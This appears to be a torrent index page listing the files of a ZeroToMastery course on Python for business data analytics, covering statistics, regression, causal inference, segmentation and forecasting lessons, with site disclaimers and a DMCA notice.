[GigaCourse.Com] ZeroToMastery - Python for Business Data Analytics & Intelligence

mp4   Hot：4   Size：4.88 GB   Created：2023-04-12 22:40:27   Update：2023-10-08 10:44:54  

Download link

小提示：当迅雷提示“下载出错”或“无法下载”等字样时，并非资源有问题，请更换 bitcomet(比特彗星) 即可下载，或者使用迅雷5。

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    1 Section 1 - Introduction/Exercise_ Meet Your Classmates and Instructor.pdf 250.31 KB
    1 Section 1 - Introduction/Introduction/Introduction.mp4 25.1 MB
    1 Section 1 - Introduction/Python for Business Analytics & Intelligence/Python for Business Analytics & Intelligence.mp4 169.81 MB
    1 Section 1 - Introduction/Setting up the Course Material/Setting up the Course Material.mp4 34.51 MB
    1 Section 1 - Introduction/The Modern Day Business Analyst/The Modern Day Business Analyst.mp4 10.96 MB
    10 Section 8 - Matching/CASE STUDY - Catholic Schools & Standardized Tests (Briefing)/CASE STUDY - Catholic Schools & Standardized Tests (Briefing).mp4 3.48 MB
    10 Section 8 - Matching/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 34.83 MB
    10 Section 8 - Matching/CHALLENGE - Solutions/CHALLENGE - Solutions.mp4 112.19 MB
    10 Section 8 - Matching/Common Support Region/Common Support Region.mp4 14.25 MB
    10 Section 8 - Matching/Matching - Game Plan/Matching - Game Plan.mp4 5.48 MB
    10 Section 8 - Matching/Matching/Matching.mp4 8.36 MB
    10 Section 8 - Matching/My Experience with Matching/My Experience with Matching.mp4 5.4 MB
    10 Section 8 - Matching/Python - Chi-square Loop/Python - Chi-square Loop.mp4 23.23 MB
    10 Section 8 - Matching/Python - Chi-square Test/Python - Chi-square Test.mp4 38.76 MB
    10 Section 8 - Matching/Python - Cleaning and Preparing Dataset/Python - Cleaning and Preparing Dataset.mp4 28.84 MB
    10 Section 8 - Matching/Python - Common Support Region Visualization/Python - Common Support Region Visualization.mp4 9.09 MB
    10 Section 8 - Matching/Python - Comparing Means/Python - Comparing Means.mp4 20.01 MB
    10 Section 8 - Matching/Python - Directory and Libraries/Python - Directory and Libraries.mp4 16.73 MB
    10 Section 8 - Matching/Python - Education Variables/Python - Education Variables.mp4 44.17 MB
    10 Section 8 - Matching/Python - Loading Data/Python - Loading Data.mp4 31.34 MB
    10 Section 8 - Matching/Python - Logistic Regression and Debugging/Python - Logistic Regression and Debugging.mp4 92.74 MB
    10 Section 8 - Matching/Python - Matching/Python - Matching.mp4 43.52 MB
    10 Section 8 - Matching/Python - Other Variables/Python - Other Variables.mp4 23.8 MB
    10 Section 8 - Matching/Python - Outcome Visualization/Python - Outcome Visualization.mp4 9.06 MB
    10 Section 8 - Matching/Python - Preparing for Common Support Region/Python - Preparing for Common Support Region.mp4 34.98 MB
    10 Section 8 - Matching/Python - Race Variable Transformation/Python - Race Variable Transformation.mp4 86.15 MB
    10 Section 8 - Matching/Python - Robustness Check - Removing 1 confounder/Python - Robustness Check - Removing 1 confounder.mp4 29.45 MB
    10 Section 8 - Matching/Python - Robustness Check - Repeated experiments/Python - Robustness Check - Repeated experiments.mp4 57.38 MB
    10 Section 8 - Matching/Python - T-Test Loop/Python - T-Test Loop.mp4 23.84 MB
    10 Section 8 - Matching/Python - T-Test/Python - T-Test.mp4 26.22 MB
    10 Section 8 - Matching/Robustness Checks/Robustness Checks.mp4 4.64 MB
    10 Section 8 - Matching/The Curse of Dimensionality/The Curse of Dimensionality.mp4 5.28 MB
    10 Section 8 - Matching/Unconfoundedness/Unconfoundedness.mp4 5.21 MB
    11 PART C_ SEGMENTATION/What is Segmentation and why is it important.pdf 208.47 KB
    11 PART C_ SEGMENTATION/[CourseClub.Me].url 122 B
    11 PART C_ SEGMENTATION/[GigaCourse.Com].url 49 B
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/CASE STUDY - Online Shopping (Briefing)/CASE STUDY - Online Shopping (Briefing).mp4 1.56 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 10.93 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/CHALLENGE - Solutions/CHALLENGE - Solutions.mp4 38.39 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Applying RFM Function/Python - Applying RFM Function.mp4 8.58 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Creating Sales Variable/Python - Creating Sales Variable.mp4 14.27 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Customer Level Aggregation/Python - Customer Level Aggregation.mp4 21.55 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Date Variable/Python - Date Variable.mp4 11.49 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Directory and Libraries/Python - Directory and Libraries.mp4 9.73 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Loading Data/Python - Loading Data.mp4 21.21 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Monetary Variable/Python - Monetary Variable.mp4 5.21 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Quartiles/Python - Quartiles.mp4 23.03 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - RFM Function/Python - RFM Function.mp4 11.38 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - RFM Score/Python - RFM Score.mp4 6.56 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Results Summary/Python - Results Summary.mp4 14.93 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Python - Tidying up Dataframe/Python - Tidying up Dataframe.mp4 12.12 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/RFM - Game Plan/RFM - Game Plan.mp4 2.33 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/RFM Model/RFM Model.mp4 8.05 MB
    12 Section 9 - RFM (Recency, Frequency, Monetary) Analysis/Value Based Segmentation/Value Based Segmentation.mp4 4.77 MB
    13 Section 10 - Gaussian Mixture/AIC and BIC/AIC and BIC.mp4 5.84 MB
    13 Section 10 - Gaussian Mixture/CASE STUDY - Credit Cards #1 (Briefing)/CASE STUDY - Credit Cards #1 (Briefing).mp4 2.64 MB
    13 Section 10 - Gaussian Mixture/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 36.85 MB
    13 Section 10 - Gaussian Mixture/CHALLENGE - Solutions/CHALLENGE - Solutions.mp4 216.41 MB
    13 Section 10 - Gaussian Mixture/Clustering/Clustering.mp4 4.65 MB
    13 Section 10 - Gaussian Mixture/Gaussian Mixture - Game Plan/Gaussian Mixture - Game Plan.mp4 2.76 MB
    13 Section 10 - Gaussian Mixture/Gaussian Mixture Model/Gaussian Mixture Model.mp4 7.99 MB
    13 Section 10 - Gaussian Mixture/My Experience with Segmentation/My Experience with Segmentation.mp4 7.22 MB
    13 Section 10 - Gaussian Mixture/Python - Cluster Prediction and Assignment/Python - Cluster Prediction and Assignment.mp4 12.85 MB
    13 Section 10 - Gaussian Mixture/Python - Directory and Data/Python - Directory and Data.mp4 14.82 MB
    13 Section 10 - Gaussian Mixture/Python - Gaussian Mixture Model/Python - Gaussian Mixture Model.mp4 9.13 MB
    13 Section 10 - Gaussian Mixture/Python - Interpretation/Python - Interpretation.mp4 103.98 MB
    13 Section 10 - Gaussian Mixture/Python - Load Data/Python - Load Data.mp4 20.42 MB
    13 Section 10 - Gaussian Mixture/Python - Optimal Number of Clusters/Python - Optimal Number of Clusters.mp4 29.28 MB
    13 Section 10 - Gaussian Mixture/Python - Transform Character variables/Python - Transform Character variables.mp4 14.19 MB
    14 PART D_ PREDICTIVE ANALYTICS/What are Predictive Analytics and why are they important.pdf 186.1 KB
    15 Section 11 - Random Forest/CASE STUDY - Credit Cards #2 (Briefing)/CASE STUDY - Credit Cards #2 (Briefing).mp4 1.18 MB
    15 Section 11 - Random Forest/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 34.09 MB
    15 Section 11 - Random Forest/CHALLENGE - Solutions (Part 1)/CHALLENGE - Solutions (Part 1).mp4 54.48 MB
    15 Section 11 - Random Forest/CHALLENGE - Solutions (Part 2)/CHALLENGE - Solutions (Part 2).mp4 48.99 MB
    15 Section 11 - Random Forest/Ensemble Learning and Random Forest/Ensemble Learning and Random Forest.mp4 4.35 MB
    15 Section 11 - Random Forest/How Decision Trees Work/How Decision Trees Work.mp4 9.07 MB
    15 Section 11 - Random Forest/Parameter Tuning/Parameter Tuning.mp4 5.94 MB
    15 Section 11 - Random Forest/Python - Classification Report and F1 score/Python - Classification Report and F1 score.mp4 24.94 MB
    15 Section 11 - Random Forest/Python - Directory and Libraries/Python - Directory and Libraries.mp4 9.84 MB
    15 Section 11 - Random Forest/Python - Feature Importance/Python - Feature Importance.mp4 19.51 MB
    15 Section 11 - Random Forest/Python - Isolate X and Y/Python - Isolate X and Y.mp4 15.13 MB
    15 Section 11 - Random Forest/Python - Loading Data/Python - Loading Data.mp4 18.49 MB
    15 Section 11 - Random Forest/Python - Parameter Grid/Python - Parameter Grid.mp4 15.7 MB
    15 Section 11 - Random Forest/Python - Parameter Tuning/Python - Parameter Tuning.mp4 43.75 MB
    15 Section 11 - Random Forest/Python - Predictions/Python - Predictions.mp4 4.87 MB
    15 Section 11 - Random Forest/Python - Random Forest Model/Python - Random Forest Model.mp4 11.73 MB
    15 Section 11 - Random Forest/Python - Summary Statistics/Python - Summary Statistics.mp4 20.91 MB
    15 Section 11 - Random Forest/Python - Training and Test Set/Python - Training and Test Set.mp4 27.44 MB
    15 Section 11 - Random Forest/Python - Transform Object into Numerical Variables/Python - Transform Object into Numerical Variables.mp4 9.93 MB
    15 Section 11 - Random Forest/Random Forest - Game Plan/Random Forest - Game Plan.mp4 2.95 MB
    15 Section 11 - Random Forest/Random Forest Quirks/Random Forest Quirks.mp4 3.77 MB
    15 Section 11 - Random Forest/[CourseClub.Me].url 122 B
    15 Section 11 - Random Forest/[GigaCourse.Com].url 49 B
    16 Section 12 - Facebook Prophet/Additive vs [TutFlix.ORG]. Multiplicative Seasonality/Additive vs. Multiplicative Seasonality.mp4 6.07 MB
    16 Section 12 - Facebook Prophet/CASE STUDY - Wikipedia (Briefing) [TutFlix.ORG]/CASE STUDY - Wikipedia (Briefing).mp4 2.42 MB
    16 Section 12 - Facebook Prophet/CHALLENGE - Introduction [TutFlix.ORG]/CHALLENGE - Introduction.mp4 20 MB
    16 Section 12 - Facebook Prophet/CHALLENGE - Solutions (Part 1) [TutFlix.ORG]/CHALLENGE - Solutions (Part 1).mp4 56.68 MB
    16 Section 12 - Facebook Prophet/CHALLENGE - Solutions (Part 2) [TutFlix.ORG]/CHALLENGE - Solutions (Part 2).mp4 92.6 MB
    16 Section 12 - Facebook Prophet/CHALLENGE - Solutions (Part 3) [TutFlix.ORG]/CHALLENGE - Solutions (Part 3).mp4 63.73 MB
    16 Section 12 - Facebook Prophet/Cross-validation [TutFlix.ORG]/Cross-validation.mp4 2.72 MB
    16 Section 12 - Facebook Prophet/Dynamic Holidays [TutFlix.ORG]/Dynamic Holidays.mp4 4.92 MB
    16 Section 12 - Facebook Prophet/Facebook Prophet - Game Plan [TutFlix.ORG]/Facebook Prophet - Game Plan.mp4 3.24 MB
    16 Section 12 - Facebook Prophet/Facebook Prophet Model [TutFlix.ORG]/Facebook Prophet Model.mp4 35.81 MB
    16 Section 12 - Facebook Prophet/Facebook Prophet Parameters [TutFlix.ORG]/Facebook Prophet Parameters.mp4 5.24 MB
    16 Section 12 - Facebook Prophet/Facebook Prophet [TutFlix.ORG]/Facebook Prophet.mp4 7.52 MB
    16 Section 12 - Facebook Prophet/Forecasting at Uber [TutFlix.ORG]/Forecasting at Uber.mp4 9.04 MB
    16 Section 12 - Facebook Prophet/Parameters to tune [TutFlix.ORG]/Parameters to tune.mp4 3.25 MB
    16 Section 12 - Facebook Prophet/Python - Accuracy Assessment [TutFlix.ORG]/Python - Accuracy Assessment.mp4 19.53 MB
    16 Section 12 - Facebook Prophet/Python - Black Friday [TutFlix.ORG]/Python - Black Friday.mp4 14.52 MB
    16 Section 12 - Facebook Prophet/Python - Combining Events and Preparing Dataframe [TutFlix.ORG]/Python - Combining Events and Preparing Dataframe.mp4 15.02 MB
    16 Section 12 - Facebook Prophet/Python - Cross-validation [TutFlix.ORG]/Python - Cross-validation.mp4 48.74 MB
    16 Section 12 - Facebook Prophet/Python - Directory and Libraries [TutFlix.ORG]/Python - Directory and Libraries.mp4 13.47 MB
    16 Section 12 - Facebook Prophet/Python - Easter Holidays [TutFlix.ORG]/Python - Easter Holidays.mp4 22.88 MB
    16 Section 12 - Facebook Prophet/Python - Forecasting [TutFlix.ORG]/Python - Forecasting.mp4 21.3 MB
    16 Section 12 - Facebook Prophet/Python - Future Dataframe [TutFlix.ORG]/Python - Future Dataframe.mp4 32.45 MB
    16 Section 12 - Facebook Prophet/Python - Loading Data [TutFlix.ORG]/Python - Loading Data.mp4 11.22 MB
    16 Section 12 - Facebook Prophet/Python - Parameter Grid [TutFlix.ORG]/Python - Parameter Grid.mp4 22.66 MB
    16 Section 12 - Facebook Prophet/Python - Parameter Tuning [TutFlix.ORG]/Python - Parameter Tuning.mp4 47.1 MB
    16 Section 12 - Facebook Prophet/Python - Regressor Coefficients [TutFlix.ORG]/Python - Regressor Coefficients.mp4 7.76 MB
    16 Section 12 - Facebook Prophet/Python - Renaming Variables [TutFlix.ORG]/Python - Renaming Variables.mp4 9.13 MB
    16 Section 12 - Facebook Prophet/Python - Training and Test Set [TutFlix.ORG]/Python - Training and Test Set.mp4 10.91 MB
    16 Section 12 - Facebook Prophet/Python - Transforming Date Variable [TutFlix.ORG]/Python - Transforming Date Variable.mp4 17.52 MB
    16 Section 12 - Facebook Prophet/Python - Visualization [TutFlix.ORG]/Python - Visualization.mp4 30.65 MB
    16 Section 12 - Facebook Prophet/Structural Time Series [TutFlix.ORG]/Structural Time Series.mp4 6.85 MB
    16 Section 12 - Facebook Prophet/Training and Test Set [TutFlix.ORG]/Training and Test Set.mp4 4.64 MB
    17 Where To Go From Here/Thank You!/Thank You!.mp4 88.98 MB
    2 PART A_ STATISTICS/What are Statistics and why are they important.pdf 169.6 KB
    2 PART A_ STATISTICS/[CourseClub.Me].url 122 B
    2 PART A_ STATISTICS/[GigaCourse.Com].url 49 B
    3 Section 2 - Basic Statistics/Arithmetic Mean/Arithmetic Mean.mp4 6.94 MB
    3 Section 2 - Basic Statistics/Basic Statistics - Game Plan/Basic Statistics - Game Plan.mp4 2.66 MB
    3 Section 2 - Basic Statistics/CASE STUDY - Moneyball (Briefing)/CASE STUDY - Moneyball (Briefing).mp4 1.41 MB
    3 Section 2 - Basic Statistics/CASE STUDY - Moneyball/CASE STUDY - Moneyball.mp4 7.55 MB
    3 Section 2 - Basic Statistics/Correlation/Correlation.mp4 15.94 MB
    3 Section 2 - Basic Statistics/EXERCISE - Python - Correlation/EXERCISE - Python - Correlation.mp4 15.01 MB
    3 Section 2 - Basic Statistics/EXERCISE - Python - Mean/EXERCISE - Python - Mean.mp4 11.65 MB
    3 Section 2 - Basic Statistics/EXERCISE - Python - Median/EXERCISE - Python - Median.mp4 12.69 MB
    3 Section 2 - Basic Statistics/EXERCISE - Python - Mode/EXERCISE - Python - Mode.mp4 11.9 MB
    3 Section 2 - Basic Statistics/EXERCISE - Python - Standard Deviation/EXERCISE - Python - Standard Deviation.mp4 4.18 MB
    3 Section 2 - Basic Statistics/Median and Mode/Median and Mode.mp4 4.66 MB
    3 Section 2 - Basic Statistics/Python - Correlation/Python - Correlation.mp4 36.21 MB
    3 Section 2 - Basic Statistics/Python - Directory, Libraries and Data/Python - Directory, Libraries and Data.mp4 39.89 MB
    3 Section 2 - Basic Statistics/Python - Mean/Python - Mean.mp4 38.89 MB
    3 Section 2 - Basic Statistics/Python - Median/Python - Median.mp4 17.42 MB
    3 Section 2 - Basic Statistics/Python - Mode/Python - Mode.mp4 15.57 MB
    3 Section 2 - Basic Statistics/Python - Standard Deviation/Python - Standard Deviation.mp4 18.59 MB
    3 Section 2 - Basic Statistics/Standard Deviation/Standard Deviation.mp4 4.25 MB
    4 Section 3 - Intermediary Statistics/CASE STUDY - Remote Work Predictions (Briefing)/CASE STUDY - Remote Work Predictions (Briefing).mp4 2.29 MB
    4 Section 3 - Intermediary Statistics/CASE STUDY - Wine Quality (Briefing)/CASE STUDY - Wine Quality (Briefing).mp4 5.37 MB
    4 Section 3 - Intermediary Statistics/Chi-square test/Chi-square test.mp4 5.94 MB
    4 Section 3 - Intermediary Statistics/Confidence Interval/Confidence Interval.mp4 36.08 MB
    4 Section 3 - Intermediary Statistics/EXERCISE - Python - Chi-square/EXERCISE - Python - Chi-square.mp4 17.53 MB
    4 Section 3 - Intermediary Statistics/EXERCISE - Python - Confidence Interval/EXERCISE - Python - Confidence Interval.mp4 13.96 MB
    4 Section 3 - Intermediary Statistics/EXERCISE - Python - Normal Distribution/EXERCISE - Python - Normal Distribution.mp4 26.98 MB
    4 Section 3 - Intermediary Statistics/EXERCISE - Python - Shapiro-Wilks/EXERCISE - Python - Shapiro-Wilks.mp4 10.18 MB
    4 Section 3 - Intermediary Statistics/EXERCISE - Python - Standard Error/EXERCISE - Python - Standard Error.mp4 10.56 MB
    4 Section 3 - Intermediary Statistics/EXERCISE - Python - T-test/EXERCISE - Python - T-test.mp4 22.85 MB
    4 Section 3 - Intermediary Statistics/Intermediary Statistics - Game Plan/Intermediary Statistics - Game Plan.mp4 1.94 MB
    4 Section 3 - Intermediary Statistics/Normal Distribution/Normal Distribution.mp4 7.16 MB
    4 Section 3 - Intermediary Statistics/P-Value/P-Value.mp4 14.48 MB
    4 Section 3 - Intermediary Statistics/Powerposing and p-hacking/Powerposing and p-hacking.mp4 10.56 MB
    4 Section 3 - Intermediary Statistics/Python - Chi-square test/Python - Chi-square test.mp4 47.07 MB
    4 Section 3 - Intermediary Statistics/Python - Confidence Interval/Python - Confidence Interval.mp4 40.47 MB
    4 Section 3 - Intermediary Statistics/Python - Normal Distribution Visualization/Python - Normal Distribution Visualization.mp4 36.85 MB
    4 Section 3 - Intermediary Statistics/Python - Preparing Script and Loading Data/Python - Preparing Script and Loading Data.mp4 20.29 MB
    4 Section 3 - Intermediary Statistics/Python - Shapiro-Wilks Test/Python - Shapiro-Wilks Test.mp4 41.83 MB
    4 Section 3 - Intermediary Statistics/Python - Standard Error/Python - Standard Error.mp4 25.89 MB
    4 Section 3 - Intermediary Statistics/Python - T-test/Python - T-test.mp4 56.79 MB
    4 Section 3 - Intermediary Statistics/Shapiro-Wilks Test/Shapiro-Wilks Test.mp4 4.58 MB
    4 Section 3 - Intermediary Statistics/Standard Error of the Mean/Standard Error of the Mean.mp4 5.87 MB
    4 Section 3 - Intermediary Statistics/T-test/T-test.mp4 5.3 MB
    4 Section 3 - Intermediary Statistics/Z-Score/Z-Score.mp4 5.8 MB
    4 Section 3 - Intermediary Statistics/[CourseClub.Me].url 122 B
    4 Section 3 - Intermediary Statistics/[GigaCourse.Com].url 49 B
    5 Section 4 - Linear Regression/CASE STUDY - Diamonds (Briefing)/CASE STUDY - Diamonds (Briefing).mp4 2.78 MB
    5 Section 4 - Linear Regression/Dummy Variable Trap/Dummy Variable Trap.mp4 7.41 MB
    5 Section 4 - Linear Regression/EXERCISE - Python - Linear Regression/EXERCISE - Python - Linear Regression.mp4 25.29 MB
    5 Section 4 - Linear Regression/Linear Regression - Game Plan/Linear Regression - Game Plan.mp4 2.98 MB
    5 Section 4 - Linear Regression/Linear Regression Output/Linear Regression Output.mp4 34.26 MB
    5 Section 4 - Linear Regression/Linear Regression/Linear Regression.mp4 10.07 MB
    5 Section 4 - Linear Regression/Python - Adding Constant/Python - Adding Constant.mp4 8.62 MB
    5 Section 4 - Linear Regression/Python - Dummy Variable/Python - Dummy Variable.mp4 14.62 MB
    5 Section 4 - Linear Regression/Python - Isolate X and Y/Python - Isolate X and Y.mp4 10.8 MB
    5 Section 4 - Linear Regression/Python - Linear Regression Model and Summary/Python - Linear Regression Model and Summary.mp4 16.58 MB
    5 Section 4 - Linear Regression/Python - Plotting Regression/Python - Plotting Regression.mp4 21.59 MB
    5 Section 4 - Linear Regression/Python - Preparing Script and Loading Data/Python - Preparing Script and Loading Data.mp4 22.21 MB
    6 Section 5 - Multilinear Regression/Accuracy KPIs (Key Performance Indicators)/Accuracy KPIs (Key Performance Indicators).mp4 8.58 MB
    6 Section 5 - Multilinear Regression/CASE STUDY - Professors' Salary (Briefing)/CASE STUDY - Professors' Salary (Briefing).mp4 1.54 MB
    6 Section 5 - Multilinear Regression/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 18.6 MB
    6 Section 5 - Multilinear Regression/CHALLENGE - Solutions/CHALLENGE - Solutions.mp4 65.06 MB
    6 Section 5 - Multilinear Regression/Multilinear Regression - Game Plan/Multilinear Regression - Game Plan.mp4 3.32 MB
    6 Section 5 - Multilinear Regression/Outliers/Outliers.mp4 4.71 MB
    6 Section 5 - Multilinear Regression/Python - Accuracy Assessment/Python - Accuracy Assessment.mp4 21.69 MB
    6 Section 5 - Multilinear Regression/Python - Adding Constant/Python - Adding Constant.mp4 4.62 MB
    6 Section 5 - Multilinear Regression/Python - Categorical Variables/Python - Categorical Variables.mp4 18.37 MB
    6 Section 5 - Multilinear Regression/Python - Correlation Matrix/Python - Correlation Matrix.mp4 11.96 MB
    6 Section 5 - Multilinear Regression/Python - Creating Dummy Variables/Python - Creating Dummy Variables.mp4 9.3 MB
    6 Section 5 - Multilinear Regression/Python - For Loop/Python - For Loop.mp4 17.63 MB
    6 Section 5 - Multilinear Regression/Python - Isolate X and Y/Python - Isolate X and Y.mp4 14.26 MB
    6 Section 5 - Multilinear Regression/Python - Model Predictions/Python - Model Predictions.mp4 5.86 MB
    6 Section 5 - Multilinear Regression/Python - Multilinear Regression/Python - Multilinear Regression.mp4 21.37 MB
    6 Section 5 - Multilinear Regression/Python - Plotting Continuous Variables/Python - Plotting Continuous Variables.mp4 22.03 MB
    6 Section 5 - Multilinear Regression/Python - Preparing Script and Loading Data/Python - Preparing Script and Loading Data.mp4 26.78 MB
    6 Section 5 - Multilinear Regression/Python - Summary Statistics/Python - Summary Statistics.mp4 9.55 MB
    6 Section 5 - Multilinear Regression/Python - Train and Test Split/Python - Train and Test Split.mp4 8.26 MB
    6 Section 5 - Multilinear Regression/The Concept of Multilinear Regression/The Concept of Multilinear Regression.mp4 2.9 MB
    6 Section 5 - Multilinear Regression/Training and Test Set/Training and Test Set.mp4 1.71 MB
    6 Section 5 - Multilinear Regression/Under and Over Fitting/Under and Over Fitting.mp4 2.8 MB
    7 Section 6 - Logistic Regression/CASE STUDY - Spam Emails (Briefing)/CASE STUDY - Spam Emails (Briefing).mp4 2.62 MB
    7 Section 6 - Logistic Regression/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 26.05 MB
    7 Section 6 - Logistic Regression/CHALLENGE - Solutions/CHALLENGE - Solutions.mp4 66.38 MB
    7 Section 6 - Logistic Regression/Confusion Matrix/Confusion Matrix.mp4 15.22 MB
    7 Section 6 - Logistic Regression/How to Read Logistic Regression Coefficients/How to Read Logistic Regression Coefficients.mp4 6.75 MB
    7 Section 6 - Logistic Regression/Logistic Regression - Game Plan/Logistic Regression - Game Plan.mp4 2.88 MB
    7 Section 6 - Logistic Regression/Logistic Regression/Logistic Regression.mp4 8.42 MB
    7 Section 6 - Logistic Regression/Python - Classification Report/Python - Classification Report.mp4 15.91 MB
    7 Section 6 - Logistic Regression/Python - Confusion Matrix/Python - Confusion Matrix.mp4 27.38 MB
    7 Section 6 - Logistic Regression/Python - Correlation Matrix/Python - Correlation Matrix.mp4 11.81 MB
    7 Section 6 - Logistic Regression/Python - Function to Read Coefficients/Python - Function to Read Coefficients.mp4 36.33 MB
    7 Section 6 - Logistic Regression/Python - Histogram and Outlier Removal/Python - Histogram and Outlier Removal.mp4 44.25 MB
    7 Section 6 - Logistic Regression/Python - Logistic Regression/Python - Logistic Regression.mp4 15.21 MB
    7 Section 6 - Logistic Regression/Python - Manual Accuracy Assessment/Python - Manual Accuracy Assessment.mp4 22.74 MB
    7 Section 6 - Logistic Regression/Python - Predictions/Python - Predictions.mp4 15.52 MB
    7 Section 6 - Logistic Regression/Python - Prepare X and Y/Python - Prepare X and Y.mp4 8.81 MB
    7 Section 6 - Logistic Regression/Python - Preparing Script and Loading Data/Python - Preparing Script and Loading Data.mp4 25.2 MB
    7 Section 6 - Logistic Regression/Python - Summary Statistics/Python - Summary Statistics.mp4 25.54 MB
    7 Section 6 - Logistic Regression/Python - Training and Test Set/Python - Training and Test Set.mp4 23.66 MB
    7 Section 6 - Logistic Regression/Python - Transforming Dependent Variable/Python - Transforming Dependent Variable.mp4 18.08 MB
    8 PART B_ ECONOMETRICS & CAUSAL INFERENCE/What are Econometrics & Causal Inference and why are they important.pdf 190.71 KB
    8 PART B_ ECONOMETRICS & CAUSAL INFERENCE/[CourseClub.Me].url 122 B
    8 PART B_ ECONOMETRICS & CAUSAL INFERENCE/[GigaCourse.Com].url 49 B
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Assumptions/Assumptions.mp4 5.76 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/CASE STUDY - Bitcoin Pricing (Briefing)/CASE STUDY - Bitcoin Pricing (Briefing).mp4 6.16 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/CHALLENGE - Introduction/CHALLENGE - Introduction.mp4 23.75 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/CHALLENGE - Solutions/CHALLENGE - Solutions.mp4 66.55 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Causal Impact Step-by-Step/Causal Impact Step-by-Step.mp4 3.4 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Correlation Recap and Stationarity/Correlation Recap and Stationarity.mp4 8.14 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Difference-in-Differences Framework/Difference-in-Differences Framework.mp4 4.45 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Google Causal Impact - Game Plan/Google Causal Impact - Game Plan.mp4 3.03 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Interpretation of Results/Interpretation of Results.mp4 11.74 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Bitcoin Price loading/Python - Bitcoin Price loading.mp4 19.14 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Correlation/Python - Correlation.mp4 17.87 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Defining Dates/Python - Defining Dates.mp4 8.59 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Google Causal Impact Setup/Python - Google Causal Impact Setup.mp4 8.96 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Google Causal Impact/Python - Google Causal Impact.mp4 38.33 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Impact Results/Python - Impact Results.mp4 34.21 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Installing and Importing Libraries/Python - Installing and Importing Libraries.mp4 11.88 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Load Control Groups/Python - Load Control Groups.mp4 20.57 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Preparing DataFrame/Python - Preparing DataFrame.mp4 45.96 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Preparing for Correlation Matrix/Python - Preparing for Correlation Matrix.mp4 15.63 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Python - Stationarity/Python - Stationarity.mp4 46.41 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Time Series Data/Time Series Data.mp4 2.91 MB
    9 Section 7 - Google Causal Impact (Econometrics and Causal Inference)/Why Econometrics and Causal Inference/Why Econometrics and Causal Inference.mp4 11.16 MB
    [CourseClub.Me].url 122 B
    [GigaCourse.Com].url 49 B

Download Info

  • Tips

    “[GigaCourse.Com] ZeroToMastery - Python for Business Data Analytics & Intelligence” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

